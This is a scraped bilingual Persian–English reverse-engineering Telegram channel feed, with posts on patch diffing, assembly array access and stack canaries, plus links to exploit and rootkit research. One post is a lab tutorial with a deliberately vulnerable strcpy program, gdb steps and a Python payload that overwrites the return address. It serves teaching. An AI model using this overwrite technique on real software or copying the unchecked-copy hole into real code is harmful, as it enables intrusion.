تحلیل پچ Patch Analysis
فهمیدن فرق دو نسخه از یک باینری: چه چیزی تغییر کرده کد کجا اصلاح شده ایا باگ فیکس شده یا رفتار جدیدی اضافه شده
مثال:
دو نسخهی یک برنامهی open-source یا نمونه قانونی رو با ابزار هایی مثل BinDiff/Diaphora مقایسه کنید و ببینید تو کد چه توابعی تغییر کردن بعد pseudocode اون توابع رو چک کنید تا دلیل تغییر مشخص بشه
دیتکشن
توابعی که signature یا آدرسشون تغییر کرده ولی اسم ندارن احتمالا patch مهمه
اضافه شدن یا حذف شدن چک های ورودی یا شرط ها
میتیگیشن
سازمان: همیشه patch ها رو اول توی محیط تست بررسی کنید برای نسخهها changelog و hash نگه دارید
توسعهدهنده: Release note دقیق بنویسید و نماد signature/hash ارائه بدید تا کسی بتونه درستی فایل رو چک کنه
Patch Analysis
Understanding the difference between two versions of a binary: what has changed, where the code has been modified, whether a bug has been fixed, or new behavior has been added
Example:
Compare two versions of an open-source program or legal sample with tools like BinDiff/Diaphora and see what functions in the code have changed, then examine the pseudocode of those functions to determine the reason for the change
Detection
Functions that have changed signatures or addresses but no names are likely important patches
Added or removed input checks or conditions
Mitigation
Organization: Always test patches in a test environment first, keep a changelog and hash for the versions
Developer: Write a detailed release note and provide a signature/hash symbol so that someone can check the file for correctness
@reverseengine
فهمیدن فرق دو نسخه از یک باینری: چه چیزی تغییر کرده کد کجا اصلاح شده ایا باگ فیکس شده یا رفتار جدیدی اضافه شده
مثال:
دو نسخهی یک برنامهی open-source یا نمونه قانونی رو با ابزار هایی مثل BinDiff/Diaphora مقایسه کنید و ببینید تو کد چه توابعی تغییر کردن بعد pseudocode اون توابع رو چک کنید تا دلیل تغییر مشخص بشه
دیتکشن
توابعی که signature یا آدرسشون تغییر کرده ولی اسم ندارن احتمالا patch مهمه
اضافه شدن یا حذف شدن چک های ورودی یا شرط ها
میتیگیشن
سازمان: همیشه patch ها رو اول توی محیط تست بررسی کنید برای نسخهها changelog و hash نگه دارید
توسعهدهنده: Release note دقیق بنویسید و نماد signature/hash ارائه بدید تا کسی بتونه درستی فایل رو چک کنه
Patch Analysis
Understanding the difference between two versions of a binary: what has changed, where the code has been modified, whether a bug has been fixed, or new behavior has been added
Example:
Compare two versions of an open-source program or legal sample with tools like BinDiff/Diaphora and see what functions in the code have changed, then examine the pseudocode of those functions to determine the reason for the change
Detection
Functions that have changed signatures or addresses but no names are likely important patches
Added or removed input checks or conditions
Mitigation
Organization: Always test patches in a test environment first, keep a changelog and hash for the versions
Developer: Write a detailed release note and provide a signature/hash symbol so that someone can check the file for correctness
@reverseengine
❤5
بخش هشتم بافر اورفلو
آدرس بازگشت و اجرای تابع win
کاری که میخواییم بکنیم
تو این قسمت مرحله به مرحله نشون میدیم چطور آفست بین ابتدای بافر و saved return address رو پیدا کنیم
بعد یاد میگیریم چطور آدرس تابع win رو بگیریم و ورودی بسازیم که وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا بشه
کد فایل file5_vuln.c
#include <stdio.h>
#include <string.h>
void win() {
puts("congrats you reached win");
}
void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}
کامپایل کنید
gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector
یک الگو بفرستید یا فقط A تکراری بفرستید تا کرش کنه
python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)
تو gdb توقف بذارید و قبل و بعد از strcpy نگاه کنید
break vulnوقتی کرش یا overwrite دیدید ادرس 8 بایتی که تو محل return افتاده رو بخونید
run
x/40x $rbp-64
# حافظه پایینتر از rbp رو ببینید قبل از strcpy
next
# اجرای کامل strcpy
x/40x $rbp-64
# بعد از strcpy ببینید چی تغییر کرده
x/gx $rbp+8
ادرس تابع win رو بگیرید
p &win
ساخت payload ساده برای فرستادن آدرس win به جای return address
فرض کنید آفست بین ابتدای بافر و saved return address شد مثلا 40 اینطوری payload میسازیم آدرس win رو از دستور p &win بگیرید
python3 - <<'PY' > payload.bin
import sys,struct
offset = 40 # عددی که خودتون پیدا کردید
addr_win = 0x414141414141
# اینو با آدرس واقعی جایگزین کنید مثلا 0x4006b6
sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY
بعد اجرا کنید
./file5_vuln "$(cat payload.bin)"
اگر درست زدید وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا میشه و متنش چاپ میشه
نکتههای مهم
آدرس ها داخل لینوکس x86_64 به صورت little endian هستن برای همین از struct.pack با '<Q' استفاده کردیم
برای اینکه آدرس ثابت باشه ASLR رو داخل VM خاموش کنید یا از پیکربندی VM استفاده کنید
Part 8 Buffer Overflow
return address and execute the win function
What we are going to do
In this part, we will show you step by step how to find the offset between the beginning of the buffer and the saved return address
Then we will learn how to get the address of the win function and create an input so that when vuln returns, the win function is executed instead of the normal return
File code file5_vuln.c
#include <stdio.h>
#include <string.h>
void win() {
puts("congrats you reached win");
}
void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}
Compile
gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector
Send a pattern or just a repeated A to crash
python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)
Stop gdb and look before and after strcpy
break vuln
run
x/40x $rbp-64
# See memory below rbp before strcpy
next
# Run strcpy completely
x/40x $rbp-64 # See what changed after strcpy
When you see a crash or overwrite, read the 8-byte address that was in the return location
x/gx $rbp+8
Get the address of the win function
p &win
Create a simple payload to send the address of win to Instead of return address
Assume the offset between the beginning of the buffer and the saved return address is, for example, 40. This is how we create the payload. Get the win address from the p &win command
python3 - <<'PY' > payload.bin
import sys,struct
offset = 40 # The number you found yourself
addr_win = 0x414141414141
# Replace this with the real address, for example, 0x4006b6
sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY
Then run
./file5_vuln "$(cat payload.bin)"
If you typed correctly, when vuln returns, the win function will be executed instead of the normal return and its text will be printed
Important points
❤4
Addresses in Linux x86_64 are little endian, so we used struct.pack with '<Q'
To make the address constant Okay, turn off ASLR inside the VM or use the VM configuration
@reverseengine
To make the address constant Okay, turn off ASLR inside the VM or use the VM configuration
@reverseengine
❤4
implementing a Technique to Remove the Original Caller from the Call Atack
https://github.com/klezVirus/SilentMoonwalk
@reverseengine
https://github.com/klezVirus/SilentMoonwalk
@reverseengine
GitHub
GitHub - klezVirus/SilentMoonwalk: PoC Implementation of a fully dynamic call stack spoofer
PoC Implementation of a fully dynamic call stack spoofer - klezVirus/SilentMoonwalk
❤3
Fantastic Rootkits
https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1
@reverseengine
https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1
@reverseengine
Cyberark
Fantastic Rootkits: And Where to Find Them (Part 1)
Introduction In this blog series, we will cover the topic of rootkits — how they are built and the basics of kernel driver analysis — specifically on the Windows platform. In this first part, we...
❤3
Intro to Embedded Reverse Engineering
PART 1: TOOLS AND SERIES OVERVIEW
PART 2: SETTING UP A DEVELOPMENT ENVIRONMENT
PART 3: UART DISCOVERY AND FIRMWARE EXTRACTION VIA UBOOT
@reverseengine
PART 1: TOOLS AND SERIES OVERVIEW
PART 2: SETTING UP A DEVELOPMENT ENVIRONMENT
PART 3: UART DISCOVERY AND FIRMWARE EXTRACTION VIA UBOOT
@reverseengine
❤4
ارایه های دو بعدی اسمبلی
مثال C:
نکته ریاضی:
در حافظه آرایه های چند بعدی در C به صورت خطی row-major ذخیره میشن:
🧩 اسمبلی:
💥 تحلیل خط به خط:
دستورات
📘 زبان C:
به صورت ساده تر:
2D arrays assembly
C example:
Math Tip:
In memory, multidimensional arrays in C are stored in a linear row-major format:
🧩 Assembly:
💥 Line-by-line analysis:
Instructions
📘 C language:
In simpler terms:
@reverseengine
مثال C:
int get_val(int arr[3][4], int i, int j) {
return arr[i][j];
}
نکته ریاضی:
در حافظه آرایه های چند بعدی در C به صورت خطی row-major ذخیره میشن:
arr[i][j] = arr + (i * تعداد_ستونها + j)
چون int چهار بایته:
address = base + (i * 4 * num_cols) + (j * 4)
🧩 اسمبلی:
get_val:
mov eax, DWORD PTR [rdi + rsi*16 + rdx*4]
ret
💥 تحلیل خط به خط:
دستورات
rdi آرگومان اول آدرس پایهی آرایه (base pointer)
rsi آرگومان دوم i (ردیف)
rdx آرگومان سوم j (ستون)
rsi*16
چون هر ردیف 4 عنصر داره و هر
عنصر 4 بایت 4*4=16
rdx*4 جابجایی داخل ردیف (jام)
جمع این دوتا با rdi = آدرس نهایی arr[i][j]
📘 زبان C:
return *(int *)((char*)arr + i*16 + j*4);
به صورت ساده تر:
return arr[i][j];
2D arrays assembly
C example:
int get_val(int arr[3][4], int i, int j) {
return arr[i][j];
}
Math Tip:
In memory, multidimensional arrays in C are stored in a linear row-major format:
arr[i][j] = arr + (i * num_cols + j)
Because int is four bytes:
address = base + (i * 4 * num_cols) + (j * 4)
🧩 Assembly:
get_val:
mov eax, DWORD PTR [rdi + rsi*16 + rdx*4]
ret
💥 Line-by-line analysis:
Instructions
rdi First argument base address of the array (base pointer)
rsi Second argument i (row)
rdx Third argument j (column)
rsi*16 Since each row has 4 elements and each
element is 4 bytes 4*4=16
rdx*4 Move into the (jth) row
Adding these two with rdi = final address arr[i][j]
📘 C language:
return *(int *)((char*)arr + i*16 + j*4);
In simpler terms:
return arr[i][j];
@reverseengine
❤3
دسترسی به آرایههای دو بعدی در اسمبلی
فرض کنید داخل C بنویسیم:
داخل حافظه این آرایه به صورت خط به خط Row-Major Order ذخیره میشه
یعنی ترتیب در حافظه این شکلیه:
فرمول محاسبه آدرس عنصر:
اگر هر عنصر 4 بایت باشه نوع int آدرس arr[i][j] به صورت زیر حساب میشه:
داخل اسمبلی معمولا به شکل زیر پیاده میشه:
فرض کنید rbx آدرس پایه ای آرایه هست
Accessing 2D Arrays in Assembly
Suppose we write in C:
In memory, this array is stored row by row in Row-Major Order
That is, the order in memory is as follows:
Formula for calculating the element address:
If each element is 4 bytes, the int type address arr[i][j] is calculated as follows:
In assembly, it is usually implemented as follows:
Assume rbx is the base address of the array
@reverseengine
فرض کنید داخل C بنویسیم:
int arr[3][4];
return arr[i][j];
داخل حافظه این آرایه به صورت خط به خط Row-Major Order ذخیره میشه
یعنی ترتیب در حافظه این شکلیه:
arr[0][0], arr[0][1], arr[0][2], arr[0][3],
arr[1][0], arr[1][1], arr[1][2], arr[1][3],
arr[2][0], arr[2][1], arr[2][2], arr[2][3]
فرمول محاسبه آدرس عنصر:
اگر هر عنصر 4 بایت باشه نوع int آدرس arr[i][j] به صورت زیر حساب میشه:
address = base_address + ((i * number_of_columns) + j) * 4
داخل اسمبلی معمولا به شکل زیر پیاده میشه:
mov eax, i
imul eax, number_of_columns ; eax = i * 4
add eax, j ; eax = (i * 4) +j
mov eax, DWORD PTR [rbx + rax*4] ; eax = arr[i][j]
فرض کنید rbx آدرس پایه ای آرایه هست
Accessing 2D Arrays in Assembly
Suppose we write in C:
int arr[3][4];
return arr[i][j];
In memory, this array is stored row by row in Row-Major Order
That is, the order in memory is as follows:
arr[0][0], arr[0][1], arr[0][2], arr[0][3],
arr[1][0], arr[1][1], arr[1][2], arr[1][3],
arr[2][0], arr[2][1], arr[2][2], arr[2][3]
Formula for calculating the element address:
If each element is 4 bytes, the int type address arr[i][j] is calculated as follows:
address = base_address + ((i * number_of_columns) + j) * 4
In assembly, it is usually implemented as follows:
mov eax, i
imul eax, number_of_columns ; eax = i * 4
add eax, j ; eax = (i * 4) +j
mov eax, DWORD PTR [rbx + rax*4] ; eax = arr[i][j]
Assume rbx is the base address of the array
@reverseengine
❤4
Exploiting System Mechanic Driver - VoidSec
https://voidsec.com/exploiting-system-mechanic-driver/?s=09
@reverseengine
https://voidsec.com/exploiting-system-mechanic-driver/?s=09
@reverseengine
VoidSec
Exploiting System Mechanic Driver - VoidSec
Windows Kernel Exploitation: Driver Reverse Engineering session and Root Cause analysis. From an Arbitrary Write vulnerability to EoP
❤4
Forwarded from Source Byte
How to mitigate symbolic link attacks on Windows?
https://www.seljan.hu/posts/how-to-mitigate-symbolic-link-attacks-on-windows/
https://www.seljan.hu/posts/how-to-mitigate-symbolic-link-attacks-on-windows/
❤4
A Curated List of Resources to Analyse and Study Malware Techniques
https://github.com/fr0gger/Awesome_Malware_Techniques
@reverseengine
https://github.com/fr0gger/Awesome_Malware_Techniques
@reverseengine
GitHub
GitHub - fr0gger/Awesome_Malware_Techniques: This is a repository of resource about Malware techniques
This is a repository of resource about Malware techniques - fr0gger/Awesome_Malware_Techniques
❤4
Windows Kernel Internals: Cache Manager
https://www.i.u-tokyo.ac.jp/edu/training/ss/lecture/new-documents/Lectures/15-CacheManager/CacheManager.pdf
@reverseengine
https://www.i.u-tokyo.ac.jp/edu/training/ss/lecture/new-documents/Lectures/15-CacheManager/CacheManager.pdf
@reverseengine
❤4
Forwarded from GO-TO CVE
zero-day-week-77.pdf
261.4 KB
🎯 Week 77 — Zero-Day Review — Explore CMS XSS → ATO
🔹 Week: 77
🔹 CVE: Zero-Day (pending ID assignment)
🔹 Type: Reflected XSS → Account Takeover (ATO)
🔹 Impact: Session theft, privilege escalation, full admin compromise
🔹 Target: Explore CMS v1.1
#week_77 #Zero_Day
🔹 Week: 77
🔹 CVE: Zero-Day (pending ID assignment)
🔹 Type: Reflected XSS → Account Takeover (ATO)
🔹 Impact: Session theft, privilege escalation, full admin compromise
🔹 Target: Explore CMS v1.1
#week_77 #Zero_Day
❤4
محافظ پشته
Stack Canary
یک مکانیزم محافظتیه که برای کاهش اکثر حملات بازنویسی پشته stack buffer overflow به کار میره
مفهوم:
کامپایلر در زمان کامپایل یا هنگام ورود به تابع مقدار محافظی canary کنار داده های محلی و آدرس برگشت قرار میده قبل از خروج از تابع مقدار ذخیره شده با مقدار اصلی مقایسه میشه اگر تغییر داده شده باشه
تابع مخصوصی مثل __stack_chk_fail() فراخونی میشه و برنامه به طور امن تموم میشه به عبارت دیگه کانری حکم زنگ هشدار رو داره که هر گونه دستکاری پشته رو آشکار میکنه
مهاجم با بهره برداری از بافرهای محلی میتونه داده هایی رو فراتر از اندازه مشخص شده بنویسیم و در نتیجه آدرس بازگشت رو تغییر بده تا جریان اجرای برنامه رو به کنترل خودش دربیاره کانری این مسیر ساده سو استفاده رو خیلی سخت میکنه چون برای تغییر آدرس برگشت لازمه کانری با مقدار درست بازنویسی بشه کاری که بدون دونستن مقدار اولیه سخت یا غیرممکنه
انواع Canary
Terminator canary:
شامل بایتهای خاصی مثلا \x00, \n هست تا عملیات های مبتنی بر رشته نتونن اون رو کامل بنویسن
Random canary: مقدار تصادفی تولید شده در زمان شروع برنامه رایج و موثره تا وقتی که مقدار لو نره
Random XOR-based canary:
مقدار تصادفی که با اطلاعات جلسه یا آدرسها ترکیب شده تا حدس زدنش سخت تر بشه
کامپایلرهای مدرن معمولا از canary تصادفی استفاده میکنن
چجوری کامپایلر اون رو پیادهسازی میکنه
با فعالسازی گزینههای محافظتی کامپایلر مانند -fstack-protector یا -fstack-protector-strong روند کلی بهصورت زیره:
در prologue تابع مقدار canary که از مکانیزم تصادفی برنامه یا متغیری در bss. گرفته میشه روی پشته نوشته میشه
در epilogue و قبل از ret مقدار ذخیره شده خونده و با مقدار مرجع مقایسه میشه
در صورت اختلاف __stack_chk_fail() فراخوانی و معمولا برنامه abort میشه یا عملیات ایمن سازی دیگه ای اجرا میشه
فرق فلگها:
fstack-protector :
کانری رو برای توابعی که از آرایهها یا buffer های محلی استفاده میکنه قرار میده
fstack-protector-strong :
پوشش خیلی بزرگ تر توابع بیشتری رو شامل میشه
fstack-protector-all :
از همه توابع محفاظت میکنه هزینه عملکردی بالاتر
محدودیتها:
کانری جلوی همه تکنیک ها رو نمیگیره اگر مهاجم بتونه مقدار canary رو به دست بیاره info leak یا اون رو حدس بزنه محافظت از بین میره
حملاتی مانند ROP حملات مبتنی بر هیپ یا آسیبپذیری های منطقی را کانری متوقف نمیکنه
کانری بخشی از یک ساز و کار دفاعی لایهایه و باید همراه با ASLR، DEP/NX و سایر مکانیزم ها استفاده بشه
Stack Guard
Stack Canary
A protection mechanism used to mitigate most stack buffer overflow attacks
Concept:
The compiler places a guarded canary value next to the local data and return address at compile time or when entering a function. Before exiting the function, the stored value is compared with the original value if it has been changed
A special function such as __stack_chk_fail() is called and the program ends safely. In other words, the canary acts as an alarm that reveals any manipulation of the stack
By exploiting local buffers, an attacker can write data beyond the specified size and thus change the return address to control the flow of program execution. The canary makes this simple path of abuse very difficult because to change the return address, the canary must be overwritten with the correct value, which is difficult or impossible without knowing the initial value
Types of Canary
Terminator canary:
Contains special bytes such as \x00, \n to String-based operations cannot write it completely
Random canary: A random value generated at program startup, effective until the value is leaked
Random XOR-based canary:
A random value that is combined with session information or addresses to make it harder to guess
Modern compilers often use random canaries
How the compiler implements it
By enabling compiler protection options such as -fstack-protector or -fstack-protector-strong, the general process is as follows:
In the prologue function, the canary value is derived from the program's randomization mechanism or a variable in the bss. It is taken and written to the stack
In the epilogue and before ret, the stored value is read and compared with the reference value
Stack Canary
یک مکانیزم محافظتیه که برای کاهش اکثر حملات بازنویسی پشته stack buffer overflow به کار میره
مفهوم:
کامپایلر در زمان کامپایل یا هنگام ورود به تابع مقدار محافظی canary کنار داده های محلی و آدرس برگشت قرار میده قبل از خروج از تابع مقدار ذخیره شده با مقدار اصلی مقایسه میشه اگر تغییر داده شده باشه
تابع مخصوصی مثل __stack_chk_fail() فراخونی میشه و برنامه به طور امن تموم میشه به عبارت دیگه کانری حکم زنگ هشدار رو داره که هر گونه دستکاری پشته رو آشکار میکنه
مهاجم با بهره برداری از بافرهای محلی میتونه داده هایی رو فراتر از اندازه مشخص شده بنویسیم و در نتیجه آدرس بازگشت رو تغییر بده تا جریان اجرای برنامه رو به کنترل خودش دربیاره کانری این مسیر ساده سو استفاده رو خیلی سخت میکنه چون برای تغییر آدرس برگشت لازمه کانری با مقدار درست بازنویسی بشه کاری که بدون دونستن مقدار اولیه سخت یا غیرممکنه
انواع Canary
Terminator canary:
شامل بایتهای خاصی مثلا \x00, \n هست تا عملیات های مبتنی بر رشته نتونن اون رو کامل بنویسن
Random canary: مقدار تصادفی تولید شده در زمان شروع برنامه رایج و موثره تا وقتی که مقدار لو نره
Random XOR-based canary:
مقدار تصادفی که با اطلاعات جلسه یا آدرسها ترکیب شده تا حدس زدنش سخت تر بشه
کامپایلرهای مدرن معمولا از canary تصادفی استفاده میکنن
چجوری کامپایلر اون رو پیادهسازی میکنه
با فعالسازی گزینههای محافظتی کامپایلر مانند -fstack-protector یا -fstack-protector-strong روند کلی بهصورت زیره:
در prologue تابع مقدار canary که از مکانیزم تصادفی برنامه یا متغیری در bss. گرفته میشه روی پشته نوشته میشه
در epilogue و قبل از ret مقدار ذخیره شده خونده و با مقدار مرجع مقایسه میشه
در صورت اختلاف __stack_chk_fail() فراخوانی و معمولا برنامه abort میشه یا عملیات ایمن سازی دیگه ای اجرا میشه
فرق فلگها:
fstack-protector :
کانری رو برای توابعی که از آرایهها یا buffer های محلی استفاده میکنه قرار میده
fstack-protector-strong :
پوشش خیلی بزرگ تر توابع بیشتری رو شامل میشه
fstack-protector-all :
از همه توابع محفاظت میکنه هزینه عملکردی بالاتر
محدودیتها:
کانری جلوی همه تکنیک ها رو نمیگیره اگر مهاجم بتونه مقدار canary رو به دست بیاره info leak یا اون رو حدس بزنه محافظت از بین میره
حملاتی مانند ROP حملات مبتنی بر هیپ یا آسیبپذیری های منطقی را کانری متوقف نمیکنه
کانری بخشی از یک ساز و کار دفاعی لایهایه و باید همراه با ASLR، DEP/NX و سایر مکانیزم ها استفاده بشه
Stack Guard
Stack Canary
A protection mechanism used to mitigate most stack buffer overflow attacks
Concept:
The compiler places a guarded canary value next to the local data and return address at compile time or when entering a function. Before exiting the function, the stored value is compared with the original value if it has been changed
A special function such as __stack_chk_fail() is called and the program ends safely. In other words, the canary acts as an alarm that reveals any manipulation of the stack
By exploiting local buffers, an attacker can write data beyond the specified size and thus change the return address to control the flow of program execution. The canary makes this simple path of abuse very difficult because to change the return address, the canary must be overwritten with the correct value, which is difficult or impossible without knowing the initial value
Types of Canary
Terminator canary:
Contains special bytes such as \x00, \n to String-based operations cannot write it completely
Random canary: A random value generated at program startup, effective until the value is leaked
Random XOR-based canary:
A random value that is combined with session information or addresses to make it harder to guess
Modern compilers often use random canaries
How the compiler implements it
By enabling compiler protection options such as -fstack-protector or -fstack-protector-strong, the general process is as follows:
In the prologue function, the canary value is derived from the program's randomization mechanism or a variable in the bss. It is taken and written to the stack
In the epilogue and before ret, the stored value is read and compared with the reference value
❤2
In case of a difference, __stack_chk_fail() is called and usually the program is aborted or some other security operation is performed
Difference flags:
fstack-protector :
Enables canary for functions that use arrays or local buffers
fstack-protector-strong :
Much larger coverage includes more functions
fstack-protector-all :
Protects all functions Higher performance cost
Limitations:
Canary does not prevent all techniques. If an attacker can obtain the canary value, info leak or guess it, the protection is lost
Canary does not stop attacks such as ROP attacks, heap-based attacks or logical vulnerabilities
Canary is part of a layered defense mechanism and should be used in conjunction with ASLR, DEP/NX and other mechanisms
@reverseengine
Difference flags:
fstack-protector :
Enables canary for functions that use arrays or local buffers
fstack-protector-strong :
Much larger coverage includes more functions
fstack-protector-all :
Protects all functions Higher performance cost
Limitations:
Canary does not prevent all techniques. If an attacker can obtain the canary value, info leak or guess it, the protection is lost
Canary does not stop attacks such as ROP attacks, heap-based attacks or logical vulnerabilities
Canary is part of a layered defense mechanism and should be used in conjunction with ASLR, DEP/NX and other mechanisms
@reverseengine
❤1